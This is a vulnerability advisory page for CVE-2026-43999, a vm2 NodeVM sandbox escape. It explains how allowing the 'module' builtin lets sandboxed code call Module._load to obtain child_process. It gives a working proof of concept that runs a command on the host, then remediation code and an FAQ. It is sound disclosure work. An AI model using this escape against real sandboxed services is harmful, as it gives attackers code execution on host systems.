CVE-2026-43999: vm2: NodeVM builtin allowlist bypass via `module` builtin's `Module._load` allows sandbox escape

Published May 7, 2026
·
Updated

Summary NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '' wildcard). The module builtin exposes Node's Module.load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like childprocess and achieve remote code execution.

Severity Critical (CVSS 3.1: 9.9)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

- Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code) - Attack Complexity: Low — no special conditions required; ['', '-childprocess'] is a common, documented pattern - Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case - User Interaction: None - Scope: Changed — escape from sandbox boundary to host system - Confidentiality Impact: High — arbitrary command execution on the host - Integrity Impact: High — arbitrary command execution on the host - Availability Impact: High — arbitrary command execution on the host

Affected Component - lib/builtin.js — makeBuiltinsFromLegacyOptions() (lines 109-117) — includes module in '' expansion - lib/builtin.js — addDefaultBuiltin() (lines 86-90) — loads module with generic readonly wrapper - lib/builtin.js — SPECIALMODULES (line 61) — does NOT include module

CWE - CWE-863: Incorrect Authorization

Description

Root Cause: The module builtin provides unrestricted host module loading

When builtin: ['', '-childprocess'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTINMODULES and adds all modules not explicitly excluded:

js // lib/builtin.js:40 const BUILTINMODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives'))) .filter(s=>!s.startsWith('internal/'));

// lib/builtin.js:109-117 if (Array.isArray(builtins)) { const def = builtins.indexOf('') >= 0; if (def) { for (let i = 0; i < BUILTINMODULES.length; i++) { const name = BUILTINMODULES[i]; if (builtins.indexOf(-${name}) === -1) { addDefaultBuiltin(res, name, hostRequire); } } }

Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module') → true). Since only '-childprocess' is excluded, 'module' passes the filter and gets added.

The module builtin is NOT in SPECIALMODULES (which only covers events, buffer, util), so it gets the generic loader:

js // lib/builtin.js:86-90 function addDefaultBuiltin(builtins, key, hostRequire) { if (builtins.has(key)) return; const special = SPECIALMODULES[key]; builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key))); }

This wraps Node's Module class in a readonly proxy and hands it to the sandbox.

The readonly proxy does not prevent method calls

ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.

BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:

js apply(target, context, args) { const object = getHandlerObject(this); let ret; try { context = otherFromThis(context); args = otherFromThisArguments(args); ret = otherReflectApply(object, context, args); } catch (e) { throw thisFromOtherForThrow(e); } return thisFromOther(ret); }

So Module.load('childprocess') is forwarded to Node's native Module.load in the host context, which loads childprocess without any vm2 allowlist check.

Inconsistent defense: some builtins are isolated, module is not

The codebase IS aware that certain builtins need special handling:

- events: Gets a complete sandbox-native reimplementation via lib/events.js - buffer: Custom loader that only exposes the Buffer class - util: Custom loader that replaces inherits with a sandbox-safe version

But module — which provides access to the host's entire module loading infrastructure via Module.load, Module.resolveFilename, etc. — gets no special treatment at all.

Full execution chain

1. Host configures NodeVM with builtin: ['', '-childprocess'] 2. makeBuiltinsFromLegacyOptions adds 'module' to allowed builtins (not excluded) 3. Sandbox code calls require('module') → resolver finds 'module' in builtins → loadBuiltinModule('module') 4. Loader calls vm.readonly(hostRequire('module')) → returns readonly proxy of Node's Module class 5. Sandbox reads Module.load → BaseHandler.get() returns proxied function 6. Sandbox calls Module.load('childprocess') → BaseHandler.apply() forwards to host 7. Host's Module.load loads childprocess natively (no vm2 check involved) 8. childprocess module proxied back to sandbox 9. Sandbox calls childprocess.execSync('id') → executes on host → RCE

Proof of Concept

js const { NodeVM } = require('vm2');

// Developer thinks childprocess is blocked const vm = new NodeVM({ require: { builtin: ['', '-childprocess'], external: false, }, });

const out = vm.run( const Module = require('module'); // Module.load bypasses vm2's builtin allowlist entirely const cp = Module.load('childprocess'); module.exports = cp.execSync('id').toString(); , 'poc.js');

console.log(out.trim()); // prints host uid/gid — RCE achieved

Impact - Complete builtin allowlist bypass: Any configuration that allows the module builtin (including ['', '-X'] patterns) can load ANY builtin, including explicitly excluded ones. - Remote code execution: Sandboxed code can execute arbitrary commands on the host via childprocess.execSync. - Common configuration affected: The ['', '-childprocess', '-fs'] pattern is documented and widely used by developers who want "all builtins except dangerous ones." - No special conditions: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the '' wildcard. - Additional attack surfaces via module: Beyond load, the Module class also exposes resolveFilename, cache, pathCache, and other internals that could be abused.

Recommended Remediation

Option 1: Exclude module from BUILTINMODULES entirely (Preferred)

The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:

js // lib/builtin.js:40 const DANGEROUSBUILTINS = new Set(['module', 'workerthreads', 'cluster']);

const BUILTINMODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives'))) .filter(s => !s.startsWith('internal/') && !DANGEROUSBUILTINS.has(s));

This prevents module from being included even with the '' wildcard. Consider also blocking workerthreads and cluster which can spawn processes.

Option 2: Add module to SPECIALMODULES with a safe wrapper

If module must be accessible, provide a sandbox-safe version that only exposes safe APIs:

js // lib/builtin.js const SPECIALMODULES = { events: { / ... existing ... / }, buffer: defaultBuiltinLoaderBuffer, util: defaultBuiltinLoaderUtil, module: function defaultBuiltinLoaderModule(vm) { // Only expose safe, read-only metadata — no load, no resolveFilename return vm.readonly({ builtinModules: [...nmod.builtinModules], // Omit load, resolveFilename, cache, createRequire, etc. }); } };

Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.

Credit This vulnerability was discovered and reported by bugbunny.ai.

Other sources

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '' wildcard). The module builtin exposes Node's Module.load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like childprocess and achieve remote code execution. This vulnerability is fixed in 3.11.0.

MITRE

Affected Software

2 affected componentsFixes available
npm/vm2=3.10.5
3.11.0
Vm2 Project Vm2 Node.js<3.11.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.0
  2. Upgrade

    Upgrade vm2/NodeVM to a version that resolves this vulnerability.

    Fixed in 3.11.0
  3. Configuration

    Exclude the `module` builtin from NodeVM’s builtin allowlist by using the preferred option: remove `module` from any `'*'` expansion / ensure the allowlist does not include `module` at all. (Text notes: “Option 1: Exclude `module` from `BUILTIN_MODULES` entirely (Preferred)” and that any configuration that allows `module` (including `['*', '-X']`) can load excluded builtins like `child_process`).

    NodeVM (vm2) builtin = ['*', '-child_process']
  4. Configuration

    If `module` must be accessible, add it to `SPECIAL_MODULES` with a sandbox-safe wrapper that does not expose `Module._load`, `Module._resolveFilename`, or other internals—only safe, read-only metadata (text: “If `module` must be accessible, provide a sandbox-safe version that only exposes safe APIs: no _load, no _resolveFilename”).

    NodeVM (vm2) builtin = ['*', '-child_process']
  5. Compensating control

    Consider additionally blocking `worker_threads` and `cluster` (text: “Consider also blocking `worker_threads` and `cluster` which can spawn processes”) by excluding them from NodeVM’s builtin allowlist.

Event History

May 7, 2026
Advisory Published
via GitHub·04:08 AM
Data Sourced
via GitHub·04:08 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·05:21 PM
Data Sourced
via MITRE·05:21 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-43999?

CVE-2026-43999 is considered a critical vulnerability due to its ability to bypass security restrictions in NodeVM.

2

How can I remediate CVE-2026-43999?

To fix CVE-2026-43999, update the vm2 package to version 3.11.0 or later.

3

What does CVE-2026-43999 affect?

CVE-2026-43999 affects the vm2 package specifically versions up to 3.10.5.

4

What are the implications of CVE-2026-43999?

CVE-2026-43999 allows unauthorized module loading, potentially leading to code execution in the host context.

5

Is CVE-2026-43999 exploitable?

Yes, CVE-2026-43999 is exploitable when the module builtin is included in the allowlist.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203